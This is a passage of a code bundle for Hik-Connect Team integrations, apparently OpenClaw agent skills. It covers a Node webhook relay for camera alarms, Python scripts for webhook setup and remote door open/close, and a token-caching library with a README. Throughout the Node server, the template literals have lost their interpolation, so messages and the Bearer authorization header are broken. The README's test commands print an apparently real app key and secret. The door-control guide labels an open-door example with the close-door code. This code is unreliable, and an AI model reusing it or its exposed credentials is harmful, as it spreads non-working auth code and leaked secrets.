const eventDescription = EVENT_CODE_MAP[eventCode] || eventCode || 'Unknown';
return [
`📡 Event: eventDescription`,
`Device: dev.name || 'Unknown'`,
`Time: basic.occurrenceTime || ''`,
dev.deviceSerial ? `Serial: dev.deviceSerial` : '',
].filter(Boolean).join('\n');
}
function buildPayload(body) {
const { batchId, list } = body;
const messages = [];
let alarmCount = 0;
let eventCount = 0;
for (const item of list || []) {
const key = dedupKey(item);
if (isDuplicate(key)) {
console.log(`[DEDUP] Skipped duplicate: key`);
continue;
}
if (item.type === 'alarm') {
alarmCount++;
messages.push(formatAlarmItem(item));
} else if (item.type === 'event') {
eventCount++;
messages.push(formatEventItem(item));
}
}
if (messages.length === 0) return null;
return [
`📦 HCT Open Webhook Push (batchId: batchId?.slice(0, 8)...)`,
alarmCount ? `Alarms: alarmCount` : '',
eventCount ? `Events: eventCount` : '',
`---`,
...messages,
].filter(Boolean).join('\n\n');
}
// ============ Relay to OpenClaw ============
async function relayToOpenClaw(message) {
if (!CONFIG.openclaw.url || !CONFIG.openclaw.token) {
console.error('[RELAY] OPENCLAW_HOOKS_URL or OPENCLAW_HOOKS_TOKEN is not configured. Please set it before starting the webhook service.');
return;
}
try {
const res = await fetch(CONFIG.openclaw.url, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': `Bearer CONFIG.openclaw.token`,
},
body: JSON.stringify({
message: message,
channel: CONFIG.openclaw.channel,
to: CONFIG.openclaw.to,
}),
signal: AbortSignal.timeout(10000),
});
const data = await res.json().catch(() => ({}));
if (res.ok) {
console.log('[RELAY] OpenClaw hooks OK, runId:', data.runId || data.id || 'unknown');
} else {
console.error('[RELAY] OpenClaw hooks error:', res.status, JSON.stringify(data));
}
} catch (err) {
console.error('[RELAY] OpenClaw hooks network error:', err.message);
}
}
// ============ Express App ============
const app = express();
app.use('/hikvision/webhook', express.json({ limit: '10mb' }));
// Health Check
app.get('/health', (req, res) => {
res.json({
status: 'ok',
uptime: process.uptime(),
dedupCacheSize: dedupCache.size,
config: {
port: CONFIG.port,
openclawUrl: CONFIG.openclaw.url,
hasToken: !!CONFIG.openclaw.token,
hasTarget: !!CONFIG.openclaw.to,
}
});
});
// GET Request — HCT Open URL Verification Callback
app.get('/hikvision/webhook', (req, res) => {
const batchId = req.headers['x-hook-batch-id'];
const timestamp = req.headers['x-hook-timestamp'];
console.log(`[VERIFY] URL verification request (batchId=batchId)`);
if (!CONFIG.signSecret) {
console.error('[VERIFY] Cannot verify: HIK_SIGN_SECRET not configured');
return res.status(500).send('signSecret not configured');
}
if (!batchId || !timestamp) {
return res.status(400).send('Missing X-Hook-Batch-Id or X-Hook-Timestamp');
}
const message = `timestamp.batchId`;
const mac = crypto.createHmac('sha256', CONFIG.signSecret).update(message).digest('hex');
res.setHeader('x-hook-signature', `sha256=mac`);
res.status(200).send('OK');
});
// POST Request — Receive Alarm/Event Push
app.post('/hikvision/webhook', async (req, res) => {
const startTime = Date.now();
const batchId = req.body?.batchId;
const list = req.body?.list || [];
console.log(`[IN] batchId=batchId, items=list.length`);
// 1. Verify Signature
if (!verifySignature(req.headers, batchId)) {
console.warn('[REJECT] Invalid signature');
return res.status(401).json({ error: 'Invalid signature' });
}
// 2. Return 200 immediately (HCT Open requires within 5s)
res.json({ received: true, batchId, count: list.length });
console.log(`[ACK] Responded in Date.now() - startTimems`);
// 3. Asynchronous processing
try {
const message = buildPayload(req.body);
if (message) {
await relayToOpenClaw(message);
} else {
console.log('[SKIP] All items were duplicates');
}
} catch (err) {
console.error(`[ERROR] Processing failed: err.message`);
}
});
// ============ Startup ============
async function main() {
// Print configuration summary (exits if required config missing)
printConfig();
// Additional startup validation
const missing = [];
if (!CONFIG.openclaw.url) missing.push('OPENCLAW_HOOKS_URL');
if (!CONFIG.openclaw.token) missing.push('OPENCLAW_HOOKS_TOKEN');
if (!CONFIG.openclaw.channel) missing.push('OPENCLAW_CHANNEL');
if (!CONFIG.openclaw.to) missing.push('OPENCLAW_TO');
if (missing.length > 0) {
console.error('[FATAL] Missing required environment variables:', missing.join(', '));
console.error('[FATAL] Cannot start webhook service. Please set them before running server.js');
process.exit(1);
}
// Check OpenClaw connection
await checkOpenClawConnection(CONFIG.openclaw.url, CONFIG.openclaw.token);
// Start server
app.listen(CONFIG.port, () => {
console.log('');
console.log('╔══════════════════════════════════════════╗');
console.log('║ HCT Open Webhook Receiver Started ║');
console.log('╠══════════════════════════════════════════╣');
console.log(`║ Port: String(CONFIG.port).padEnd(29)║`);
console.log('║ Endpoint: POST /hikvision/webhook ║');
console.log('║ Verify: GET /hikvision/webhook ║');
console.log('║ Health: GET /health ║');
console.log('╚══════════════════════════════════════════╝');
console.log('');
console.log('Waiting for HCT Open webhook pushes...');
console.log('');
});
}
main().catch(err => {
console.error('[FATAL] Startup failed:', err);
process.exit(1);
});
FILE:modules/Hik-Connect_Team_Alarm/scripts/webhook_manager.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
HCTOpen Webhook Manager
"""
import sys
import os
import json
import argparse
from datetime import datetime
# Robust lib directory import logic
def setup_lib_path():
current_dir = os.path.dirname(os.path.abspath(__file__))
root_dir = current_dir
for _ in range(3):
root_dir = os.path.dirname(root_dir)
potential_lib = os.path.join(root_dir, "lib")
if os.path.exists(potential_lib):
if potential_lib not in sys.path:
sys.path.insert(0, potential_lib)
return True
return False
if not setup_lib_path():
print("[ERROR] Cannot find lib directory")
sys.exit(1)
from token_manager import HCTOpenClient
class WebhookManager(HCTOpenClient):
"""Webhook configuration management client"""
def query(self):
"""Query Webhook configuration"""
print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] Querying Webhook configuration...")
endpoint = "/api/hccgw/webhook/v1/config/query"
result = self.request("POST", endpoint, token_header_key="Token")
if result.get("errorCode") == "0":
data = result.get("data", {})
if data:
headers = ["Configuration Item", "Content"]
rows = [
["Callback URL (callbackUrl)", data.get("callbackUrl", "-")],
["Retry Count (retryTimes)", data.get("retryTimes", "-")],
["Retry Interval (retryDelay)", f"{data.get('retryDelay', '-')} ms"]
]
self.print_table("HCTOpen Webhook Current Configuration", headers, rows)
self.exit_with_json({"success": True, "data": data})
else:
print("[INFO] Webhook not currently configured")
self.exit_with_json({"success": True, "data": None, "message": "No webhook configuration found"})
else:
print(f"[ERROR] Query failed: {result.get('message', 'Unknown error')}")
self.exit_with_json({"success": False, "message": result.get("message", "Unknown error"), "errorCode": result.get("errorCode")})
def save(self, callback_url: str, sign_secret: str = None, retry_times: int = 3, retry_delay: int = 1000):
"""Save/Subscribe Webhook configuration"""
print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] Saving Webhook configuration: {callback_url}")
if not callback_url.startswith("https://"):
print("[ERROR] Callback URL must use HTTPS protocol")
self.exit_with_json({"success": False, "message": "Callback URL must use HTTPS protocol"})
endpoint = "/api/hccgw/webhook/v1/config/save"
payload = {
"callbackUrl": callback_url,
"retryTimes": retry_times,
"retryDelay": retry_delay
}
if sign_secret:
payload["signSecret"] = sign_secret
result = self.request("POST", endpoint, json_data=payload, token_header_key="Token")
if result.get("errorCode") == "0":
print("[SUCCESS] Webhook configuration saved successfully")
self.exit_with_json({"success": True, "message": "Webhook configuration saved successfully"})
else:
print(f"[ERROR] Save failed: {result.get('message', 'Unknown error')}")
self.exit_with_json({"success": False, "message": result.get("message", "Unknown error"), "errorCode": result.get("errorCode")})
def delete(self):
"""Delete Webhook configuration"""
print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] Deleting Webhook configuration...")
endpoint = "/api/hccgw/webhook/v1/config/delete"
result = self.request("POST", endpoint, token_header_key="Token")
if result.get("errorCode") == "0":
print("[SUCCESS] Webhook configuration deleted successfully")
self.exit_with_json({"success": True, "message": "Webhook configuration deleted successfully"})
else:
print(f"[ERROR] Delete failed: {result.get('message', 'Unknown error')}")
self.exit_with_json({"success": False, "message": result.get("message", "Unknown error"), "errorCode": result.get("errorCode")})
def main():
parser = argparse.ArgumentParser(description="HCTOpen Webhook Configuration Management")
subparsers = parser.add_subparsers(dest="command", help="Operation command")
# Query command
subparsers.add_parser("query", help="Query current Webhook configuration")
# Save command
save_parser = subparsers.add_parser("save", help="Save/Subscribe Webhook configuration")
save_parser.add_argument("--url", required=True, help="Callback URL (must be HTTPS)")
save_parser.add_argument("--secret", help="Signing secret (optional, 8-32 alphanumeric combination)")
save_parser.add_argument("--retries", type=int, default=3, help="Retry count (default: 3)")
save_parser.add_argument("--delay", type=int, default=1000, help="Retry interval ms (default: 1000)")
# Delete command
subparsers.add_parser("delete", help="Delete Webhook configuration")
args = parser.parse_args()
client = WebhookManager()
if args.command == "query":
client.query()
elif args.command == "save":
client.save(args.url, args.secret, args.retries, args.delay)
elif args.command == "delete":
client.delete()
else:
parser.print_help()
if __name__ == "__main__":
main()
FILE:modules/Hik-Connect_Team_ACS/SKILL.md
---
name: hctopen-acs-control
description: |
HCTOpen door access remote control skill. Supports remote open door, close door, normally open, normally closed operations for Hikvision HCT Team mode (HCT) door access devices.
Use when: Need to remotely control open/close status of one or more door access devices, supports specified device or full operations.
Before calling this Skill's script, please check if user provided operation type. If user didn't provide operation type, please clearly inform user in reply: 'Currently using default parameters (operation type is open door), if you need to adjust, please let me know'. After getting confirmation or ignoring, continue execution.
⚠️ Security Requirement: Must set environment variables: Hik-Connect Team OpenAPI AppKey, Hik-Connect Team OpenAPI SecretKey. (API Domain is automatically obtained from token response)
parameters:
- name: action-type
type: integer
description: "Operation type: 1-open door, 2-close door, 3-normally open, 4-normally closed"
required: true
enum: [1, 2, 3, 4]
- name: element-list
type: string
description: "Resource point list, comma-separated door access resource ID list"
required: true
responses:
- success: true
template: "Door access control operation executed, result as follows:"
media: "list_card"
metadata:
openclaw:
emoji: "🚪"
requires:
env: ["HIK_CONNECT_TEAM_OPENAPI_APP_KEY", "HIK_CONNECT_TEAM_OPENAPI_SECRET_KEY"]
pip: ["requests"]
primaryEnv: "HIK_CONNECT_TEAM_OPENAPI_APP_KEY"
warnings:
- "Need Hik-Connect Team OpenAPI AppKey /Hik-Connect Team OpenAPI SecretKey with door access control permission"
- "Token automatically cached in system temp directory, permission 600"
- "May read ~/.openclaw/*.json for credentials (env vars have priority)"
config:
tokenCache:
default: true
envVar: "HIK_CONNECT_TEAM_TOKEN_CACHE"
description: "Enable Token cache (enabled by default). Set to 0 to disable."
configFileRead:
paths:
- "~/.openclaw/config.json"
- "~/.openclaw/gateway/config.json"
- "~/.openclaw/channels.json"
priority: "lower than environment variables"
description: "Reads Hik-Connect Team credentials from OpenClaw config files as fallback"
---
# HCTOpen ACS Control
HCT is short for Hik-Connect for Teams, meaning Hik-Connect Team mode.
HCTOpen is short for Hik-Connect for Teams OpenAPI.
---
## ⚠️ Security Warning (Read Before Use)
**Before executing door access control, please ensure the following security checks are completed:**
| # | Check Item | Status | Description |
|---|----------------------------|-------------|----------------------------------------------------------------------------------------------------------------|
| 1 | **Credential Permission** | ⚠️ Required | Please use credentials with **minimum control permission**, avoid using super admin credentials |
| 2 | **Operation Confirmation** | ⚠️ Note | Remote door open operation has physical security risk, please ensure site safety is confirmed before operation |
| 3 | **Token Cache** | ✅ Encrypted | Token cached in system temp directory, only current user can read (600 permission) |
| 4 | **API Domain** | ✅ Auto | API domain is automatically obtained from token response (no longer requires manual configuration) |
---
## Quick Start
### Run Control Script
Skill supports flexible command line parameters:
```bash
# Scenario 1: Execute door open operation for specified door access (actionType=1)
python scripts/acs_control.py --action-type 2 --element-list "2aabf37ad9804f66acc4ad4fb7bd4694"
# Scenario 2: Execute door close operation for specified door access (actionType=2)
python scripts/acs_control.py --action-type 2 --element-list "door_resource_id_1,door_resource_id_2"
# Scenario 3: Execute normally open operation for specified door access (actionType=3)
python scripts/acs_control.py --action-type 3 --element-list "door_resource_id_1"
# Scenario 4: Execute normally closed operation for specified door access (actionType=4)
python scripts/acs_control.py --action-type 4 --element-list "door_resource_id_1"
```
---
## API Parameter Details
### 1. Remote Control Request Parameters
**Endpoint**: `POST /api/hccgw/acs/v1/remote/control`
| Parameter Name | Type | Description | Required | Default | Notes |
|----------------|---------|---------------------|----------|---------|---------------------------------------------------------------|
| `actionType` | Integer | Operation type | **Yes** | - | 1-open door, 2-close door, 3-normally open, 4-normally closed |
| `elementlist` | Array | Resource point list | No | [] | Door logical resource ID list |
| `direction` | Integer | Traffic direction | No | 0 | 0-entry, 1-exit. Mainly for gates with direction distinction. |
### 2. API Return Data Description
API returns list of devices that failed execution. If `operationResult` is empty, it means all requested devices operated successfully.
| Field Name | Type | Description | Notes |
|---------------|--------|--------------------------|----------------------------------------|
| `elementId` | String | Door logical resource ID | Identifies which door operation failed |
| `elementName` | String | Door name | Human-readable device name |
| `areaId` | String | Area ID | Device area identifier |
| `areaName` | String | Area name | Device area name |
| `errorCode` | String | Error code | Specific reason code for failure |
---
## Environment Variables
| Variable Name | Required | Description |
|---------------------------------------|----------|-----------------------------------------|
| `HIK_CONNECT_TEAM_OPENAPI_APP_KEY` | Yes | Hik-Connect Team OpenAPI AppKey |
| `HIK_CONNECT_TEAM_OPENAPI_SECRET_KEY` | Yes | Your Hik-Connect Team OpenAPI SecretKey |
| `HIK_CONNECT_TEAM_TOKEN_CACHE` | No | 1=Enable cache (default), 0=Disable |
---
## API Endpoints
| Function | Endpoint |
|---------------------|-----------------------------------------|
| Get Token | `POST /api/hccgw/platform/v1/token/get` |
| Door Access Control | `POST /api/hccgw/acs/v1/remote/control` |
**Domain**: Automatically obtained from token response (`areaDomain` field)
---
## Workflow
```mermaid
graph TD
A[Start Script] --> B{Check Environment Variables}
B -- Missing --> C[Report Error and Exit]
B -- Pass --> D[Get AccessToken]
D --> E{Is Token Valid?}
E -- Cache Valid --> F[Use Cache Directly]
E -- Expired/No Cache --> G[Call API to Get New Token]
G --> H[Save to Local Cache]
F --> I[Send Remote Control Command]
H --> I
I --> J{Parse Return Result}
J -- Failed Devices Exist --> K[Print Failed List Table]
J -- All Successful --> L[Print Success Message]
K --> M[Output Complete JSON Result]
L --> M
M --> N[End]
```
---
## Output Examples
### Partial Operation Failed Example:
```text
[2026-04-22 11:31:34] Executing door access control: Type=1, Count=1
[2026-04-22 11:31:34] Executing door access control: Type=1, Count=1
[WARNING] Some devices operation failed:
======================================================================
Failed Device List
======================================================================
No. Door Resource ID Door Name Area Error Code
------------------------------------------------------------------
1 2aabf37ad9804f66acc4ad4fb7bd4694 VMS000003
======================================================================
[JSON Output]
{
"success": false,
"operationResult": [
{
"elementId": "2aabf37ad9804f66acc4ad4fb7bd4694",
"elementName": "",
"areaId": "",
"areaName": "",
"errorCode": "VMS000003"
}
],
"error": "Some operations failed"
}
======================================================================
Done
======================================================================
```
### All Operations Successful Example:
```text
[2026-04-22 11:36:15] Executing door access control: Type=2, Count=1
[2026-04-22 11:36:15] Executing door access control: Type=2, Count=1
[SUCCESS] All door access operations executed successfully
[JSON Output]
{
"success": true,
"operationResult": []
}
======================================================================
Done
======================================================================
```
---
## File Structure
```
├── scripts/
│ └── acs_control.py # Door access control core execution script
└── SKILL.md # Skill usage documentation
```
---
## FAQ
- **Q: Why does it show "Credentials required"?**
- A: Please ensure `export` command has been correctly executed to set `HIK_CONNECT_TEAM_OPENAPI_APP_KEY` and other environment variables.
- **Q: How long is Token cache valid?**
- A: Follows HCT API standard, usually 7 days. Script will auto-refresh 5 minutes before expiration.
- **Q: How to operate all door access?**
- A: Cannot operate all door access, can only operate specific door access.
- **Q: Why did operation fail?**
- A: Please check device status, permission configuration and network connection. Failed device information will be listed in detail in output.
- **Q: How to get door access logical resource ID?**
- A: Must first use door access device serial number to call `modules/Hik-Connect_Team_Resource/scripts/list_doors.py <device serial number>`, get door access resource ID from returned list.
- **Q: How to get the correct door resource ID?**
- A: Use `list_doors.py` API,Example:
```bash
python scripts/list_doors.py L33721705
# Output: door resource ID is in "Door Access ID" column
```
---
## Security Notes
- Use Hik-Connect Team OpenAPI AppKey / Hik-Connect Team OpenAPI SecretKey with minimum permissions
- Token cached in system temp directory, enabled by default
- Automatic 4-second interval between device requests to avoid rate limiting
- All remote operations require permission authentication
---
## Other Notes
- If user didn't provide operation type, should first inform user and ask about default configuration
- Continue executing request after user confirmation
- Door access control operations all have physical security risks, please operate with caution
---
---
**Error Codes**:
| Return Code | Return Message | Description |
|-------------|---------------------------|--------------------------------------------------------------------------|
| VMS000003 | Resource operation failed | Resource operation failed: The access control resource ID does not exist |
---
FILE:modules/Hik-Connect_Team_ACS/scripts/acs_control.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
HCTOpen ACS Control
"""
import sys
import os
import json
import argparse
from datetime import datetime
# Robust lib directory import logic: search upward until lib directory is found
def setup_lib_path():
current_dir = os.path.dirname(os.path.abspath(__file__))
# Search upward 3 levels for root directory containing lib
root_dir = current_dir
for _ in range(3):
root_dir = os.path.dirname(root_dir)
potential_lib = os.path.join(root_dir, "lib")
if os.path.exists(potential_lib):
if potential_lib not in sys.path:
sys.path.insert(0, potential_lib)
return True
return False
if not setup_lib_path():
print("[ERROR] Cannot find lib directory, please ensure script is located in Hik-Connect_Team Skills directory structure")
sys.exit(1)
from token_manager import HCTOpenClient
class ACSControlClient(HCTOpenClient):
"""Door access control client"""
def control(self, action_type: int, element_list: list):
"""Execute door access control operation"""
print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] Executing door access control: Type={action_type}, Count={len(element_list) if element_list else 'All'}")
# Check if element_list is empty
if not element_list:
print(
f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [ERROR] element_list cannot be empty. Please provide at least one resource ID.")
self.exit_with_json({
"success": False,
"error": "element_list is required and cannot be empty",
"errorCode": "PARAMETER_EMPTY"
})
print(
f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] Executing door access control: Type={action_type}, Count={len(element_list)}")
endpoint = "/api/hccgw/acs/v1/remote/control"
payload = {
"remoteControl": {
"actionType": action_type,
"elementlist": element_list
}
}
# ACS module API uses "Token" as Header Key
result = self.request("POST", endpoint, json_data=payload, token_header_key="Token")
if result.get("errorCode") == "0":
op_result = result.get("data", {}).get("operationResult", [])
if op_result:
print("[WARNING] Some devices operation failed:")
headers = ["No.", "Door Resource ID", "Door Name", "Area", "Error Code"]
rows = []
for i, res in enumerate(op_result, 1):
rows.append([
i,
res.get("elementId", "-"),
res.get("elementName", "-"),
res.get("areaName", "-"),
res.get("errorCode", "-")
])
self.print_table("Failed Device List", headers, rows)
self.exit_with_json({"success": False, "operationResult": op_result, "error": "Some operations failed"})
else:
print("[SUCCESS] All door access operations executed successfully")
self.exit_with_json({"success": True, "operationResult": []})
else:
# Use unified message field
print(f"[ERROR] Door access control failed: {result.get('message', 'Unknown error')}")
self.exit_with_json({"success": False, "error": result.get("message", "Unknown error"), "errorCode": result.get("errorCode")})
def main():
parser = argparse.ArgumentParser(description="HCTOpen Door Access Remote Control")
parser.add_argument("--action-type", type=int, required=True, choices=[1, 2, 3, 4], help="1-open door, 2-close door, 3-normally open, 4-normally closed")
parser.add_argument("--element-list", type=str, default="", help="Comma-separated resource ID list")
args = parser.parse_args()
elements = [e.strip() for e in args.element_list.split(',') if e.strip()] if args.element_list else []
client = ACSControlClient()
client.control(args.action_type, elements)
if __name__ == "__main__":
main()
FILE:lib/README_TOKEN_MANAGER.md
# HCT Global Token Manager
🔐 Provides unified Token cache management for all HCT skills.
## 📁 Location
```
/Users/jony/.openclaw/workspace/skills/Hik-Connect Team Skills/lib/token_manager.py
```
## ✨ Features
- **Global Cache**: All skills share the same Token, avoiding repeated acquisition
- **Smart Reuse**: Use cache directly during Token validity period, no API calls
- **Safe Buffer**: Auto-refresh 5 minutes before expiration to avoid boundary issues
- **Multi-Account Support**: Identify different accounts based on md5(appKey:appSecret)
- **Atomic Write**: Write to temporary file first then replace, ensuring data safety
- **Permission Protection**: Cache file permission set to 600 (owner read/write only)
## 🔐 Credential Configuration
**Credentials only need to be configured ONCE. The system will automatically find and use them.**
**Priority order (highest to lowest):**
```
┌─────────────────────────────────────────────────────────────┐
│ 1. Environment Variables (if set) │
│ ├─ HIK_CONNECT_TEAM_OPENAPI_APP_KEY │
│ └─ HIK_CONNECT_TEAM_OPENAPI_SECRET_KEY │
├─────────────────────────────────────────────────────────────┤
│ 2. OpenClaw Config Files (if env vars not set) │
│ ├─ ~/.openclaw/config.json │
│ ├─ ~/.openclaw/gateway/config.json │
│ └─ ~/.openclaw/channels.json ⭐ Recommended │
└─────────────────────────────────────────────────────────────┘
```
### OpenClaw Config File Format
Config file format (same for all three files):
```json
{
"channels": {
"hik_connect_team_openapi": {
"appKey": "Your Hik-Connect Team OpenAPI AppKey",
"secretKey": "Your Hik-Connect Team OpenAPI SecretKey",
"enabled": true
}
}
}
```
**Recommended: Save to `~/.openclaw/channels.json`** — This is the dedicated file for channel credentials.
**⚠️ Security Note**: Before saving credentials to a config file, ask the user for confirmation. Storing credentials on disk is convenient but introduces some risk. Always inform the user of this option and let them choose.
---
## 🚀 Usage
### Method 1: Import and use in Python skills
```python
# Add lib directory to path
import os
import sys
script_dir = os.path.dirname(os.path.abspath(__file__))
workspace_dir = os.path.join(script_dir, "..", "..")
lib_dir = os.path.abspath(os.path.join(workspace_dir, "Hik-Connect Team Skills", "lib"))
if os.path.exists(lib_dir) and lib_dir not in sys.path:
sys.path.insert(0, lib_dir)
from token_manager import get_cached_token
# Get Token (prefer cache, auto-refresh if expired)
token_result = get_cached_token(app_key, app_secret, use_cache=True)
if token_result["success"]:
access_token = token_result["access_token"]
print(f"Token: {access_token}")
print(f"From Cache: {token_result['from_cache']}")
```
### Method 2: Command Line Tool
```bash
cd /Users/jony/.openclaw/workspace/skills/Hik-Connect Team Skills
# Get Token (use cache)
python lib/token_manager.py get --app-key "your_key" --app-secret "your_secret"
# Force refresh Token (no cache)
python lib/token_manager.py refresh --app-key "your_key" --app-secret "your_secret"
# View cache list
python lib/token_manager.py list
# Clear specific account cache
python lib/token_manager.py clear --app-key "your_key" --app-secret "your_secret"
# Clear all cache
python lib/token_manager.py clear
```
## 📊 Cache Location
```
/var/folders/xx/xxxx/T/hctopen_global_token_cache/global_token_cache.json
```
Cache file format:
```json
{
"3aa746c5ea5329ab...": {
"cache_key": "3aa746c5ea5329ab...",
"access_token": "at.ay4x6ris6kl61uao6a3qcjpa1ww...",
"area_domain": "https://ieu-team.hikcentralconnect.com",
"expire_time": 1774419637518,
"created_at": 1773816338280,
"app_key_prefix": "26810f3a..."
}
}
```
## 🔄 Workflow
```
Skill Startup
↓
Call get_cached_token(app_key, app_secret)
↓
Check cache file
├─ Cache exists and not expired → Return cached Token directly ✅
└─ Cache doesn't exist or expired → Call API to get new Token
↓
Save to cache file
↓
Return new Token
```
## 🎯 Integrated Skills
| Skill | Status | File |
|-------------------------------|--------------|----------------------------|
| Device List (device_list) | ✅ Integrated | `scripts/list_devices.py` |
| Device Detail (device_detail) | ✅ Integrated | `scripts/device_detail.py` |
## 🧪 Test Examples
```bash
# 1. Clear cache
python lib/token_manager.py clear
# 2. First acquisition (from API)
python lib/token_manager.py get --app-key "26810f3acd794862b608b6cfbc32a6b8" --app-secret "3155063e93f09f377eaf5ba9f321f8c2"
# Output: From Cache: False
# 3. Get again (from cache)
python lib/token_manager.py get --app-key "26810f3acd794862b608b6cfbc32a6b8" --app-secret "3155063e93f09f377eaf5ba9f321f8c2"
# Output: From Cache: True
# 4. View cache
python lib/token_manager.py list
```
## ⚠️ Notes
1. **Token Validity**: 7 days, auto-refresh 5 minutes before expiration
2. **Cache Cleanup**: System temp directory may be periodically cleaned
3. **Multi-Account**: Each appKey:appSecret combination has independent cache
4. **Security**: Cache file permission 600, owner read/write only
5. **Concurrency**: Supports multi-process simultaneous reading, atomic operation during writing
## 📝 API Functions
### get_cached_token(app_key, app_secret, use_cache=True)
Get Token, prefer using cache.
**Returns**:
```json
{
"success": True,
"access_token": "at.xxx",
"area_domain": "https://hpc-sgp-uat-5.hik-partner.com",
"expire_time": 1774419637518,
"from_cache": True
}
```
### refresh_token(app_key, app_secret, cache_key=None)
Force refresh Token, do not use cache.
### clear_token_cache(app_key=None, app_secret=None)
Clear cache (can specify account or clear all).
### list_cached_tokens()
List all cached Token information.
---
**Error Codes**:
| Return Code | Return Message | Description |
|-------------|-------------------|-------------------------------|
| OPEN000001 | AK does not exist | Please check if AK is correct |
| OPEN000002 | SK error | SK does not match current AK |
FILE:lib/token_manager.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
HCTOpen Global Token Manager & Base Client
Provides global Token cache management and base API request encapsulation.
"""
import os
import sys
import time
import json
import hashlib
import tempfile
import requests
from typing import Dict, Any, Optional, List, Union
from pathlib import Path
def _get_openclaw_config_paths():
"""Get list of OpenClaw config file paths to search"""
home = Path.home()
return [
home / ".openclaw" / "config.json",
home / ".openclaw" / "gateway" / "config.json",
home / ".openclaw" / "channels.json",
]
def _load_openclaw_config():
"""Load Hik-Connect Team credentials from OpenClaw config files
Searches for config in the following order:
1. ~/.openclaw/config.json
2. ~/.openclaw/gateway/config.json
3. ~/.openclaw/channels.json
Config format:
{
"channels": {
"hik_connect_team_openapi": {
"appKey": "your_app_key",
"secretKey": "your_secret_key",
"enabled": true
}
}
}
"""
for config_path in _get_openclaw_config_paths():
if config_path.exists():
try:
with open(config_path, "r") as f:
content = f.read().strip()
if not content:
continue
data = json.loads(content)
hct_config = data.get("channels", {}).get("hik_connect_team_openapi", {})
if hct_config.get("enabled", False) and hct_config.get("appKey") and hct_config.get("secretKey"):
return hct_config.get("appKey"), hct_config.get("secretKey")
except (json.JSONDecodeError, OSError):
continue
return None, None
class TokenManager:
"""Manage HCTOpen AccessToken acquisition and caching"""
CACHE_DIR_NAME = "hctopen_global_token_cache"
CACHE_FILE_NAME = "global_token_cache.json"
TOKEN_BUFFER_TIME = 5 * 60 * 1000 # 5-minute buffer
TOKEN_URL = "https://ieu-team.hikcentralconnect.com/api/hccgw/platform/v1/token/get"
def __init__(self):
self.token_url = self.TOKEN_URL
self.cache_file = os.path.join(tempfile.gettempdir(), self.CACHE_DIR_NAME, self.CACHE_FILE_NAME)
os.makedirs(os.path.dirname(self.cache_file), exist_ok=True)
def _get_cache_key(self, app_key: str, secret_key: str) -> str:
return hashlib.md5(f"{app_key}:{secret_key}".encode()).hexdigest()
def _load_cache(self) -> Dict[str, Any]:
if not os.path.exists(self.cache_file):
return {}
try:
with open(self.cache_file, "r") as f:
return json.load(f)
except Exception as e:
print(f"[WARNING] Failed to load Token cache: {e}", file=sys.stderr)
return {}
def _save_cache(self, cache_data: Dict[str, Any]):
try:
temp_file = self.cache_file + ".tmp"
with open(temp_file, "w") as f:
json.dump(cache_data, f, indent=2)
os.replace(temp_file, self.cache_file)
# Only apply permission on Unix systems (os.chmod has no effect on Windows)
if os.name != 'nt':
os.chmod(self.cache_file, 0o600)
except Exception as e:
print(f"[WARNING] Failed to save Token cache: {e}", file=sys.stderr)
def get_token(self, app_key: str, secret_key: str, force_refresh: bool = False) -> Dict[str, Any]:
"""Get Token, prefer using cache"""
use_cache = os.environ.get("HIK_CONNECT_TEAM_TOKEN_CACHE", "1") == "1" and not force_refresh
cache_key = self._get_cache_key(app_key, secret_key)
if use_cache:
cache = self._load_cache()
if cache_key in cache:
token_data = cache[cache_key]
# Handle expire_time in seconds or milliseconds
# HCT API returns expireTime in seconds (e.g., 3600),
# but cache stores it as-is. Convert to milliseconds for comparison.
# If value > 10^11, it's already in milliseconds (e.g., 1774419637518)
expire_time = token_data.get("expire_time", 0)
if expire_time < 10**11:
expire_time *= 1000
if time.time() * 1000 + self.TOKEN_BUFFER_TIME < expire_time:
return {"success": True, "access_token": token_data["access_token"], "area_domain": token_data.get("area_domain"), "from_cache": True}
# Request new Token
try:
resp = requests.post(self.token_url, json={"appKey": app_key, "secretKey": secret_key}, timeout=10)
result = resp.json()
if result.get("errorCode") == "0":
data = result.get("data", {})
access_token = data.get("accessToken")
expire_time = data.get("expireTime") # API usually returns seconds
area_domain = data.get("areaDomain", "").rstrip("/")
# Update cache
cache = self._load_cache()
cache[cache_key] = {
"access_token": access_token,
"expire_time": expire_time,
"area_domain": area_domain,
"app_key_prefix": app_key[:8]
}
self._save_cache(cache)
return {"success": True, "access_token": access_token, "area_domain": area_domain, "from_cache": False}
# Unify error field as message
return {"success": False, "message": result.get("message", "Unknown error"), "errorCode": result.get("errorCode")}
except Exception as e:
return {"success": False, "message": f"Request exception: {str(e)}"}
# Robust lib directory import logic: search upward until lib directory is found
def setup_lib_path():
current_dir = os.path.dirname(os.path.abspath(__file__))
# Search upward 3 levels for root directory containing lib
root_dir = current_dir
for _ in range(3):
root_dir = os.path.dirname(root_dir)
potential_lib = os.path.join(root_dir, "lib")
if os.path.exists(potential_lib):
if potential_lib not in sys.path:
sys.path.insert(0, potential_lib)
return True
return False
if not setup_lib_path():
print("[ERROR] Cannot find lib directory, please ensure script is located in Hik-Connect_Team Skills directory structure")
sys.exit(1)
class HCTOpenClient:
"""HCTOpen API Base Client"""
def __init__(self):
# Priority 1: Environment variables (highest)
self.app_key = os.environ.get("HIK_CONNECT_TEAM_OPENAPI_APP_KEY")
self.secret_key = os.environ.get("HIK_CONNECT_TEAM_OPENAPI_SECRET_KEY")
self._config_source = "environment variables"
# Priority 2: OpenClaw config files (only if env vars not set)
if not all([self.app_key, self.secret_key]):
config_app_key, config_secret_key = _load_openclaw_config()
if config_app_key and config_secret_key:
self.app_key = config_app_key
self.secret_key = config_secret_key
self._config_source = "OpenClaw config file"
if not all([self.app_key, self.secret_key]):
print("[ERROR] Credentials not found. Please set either:")
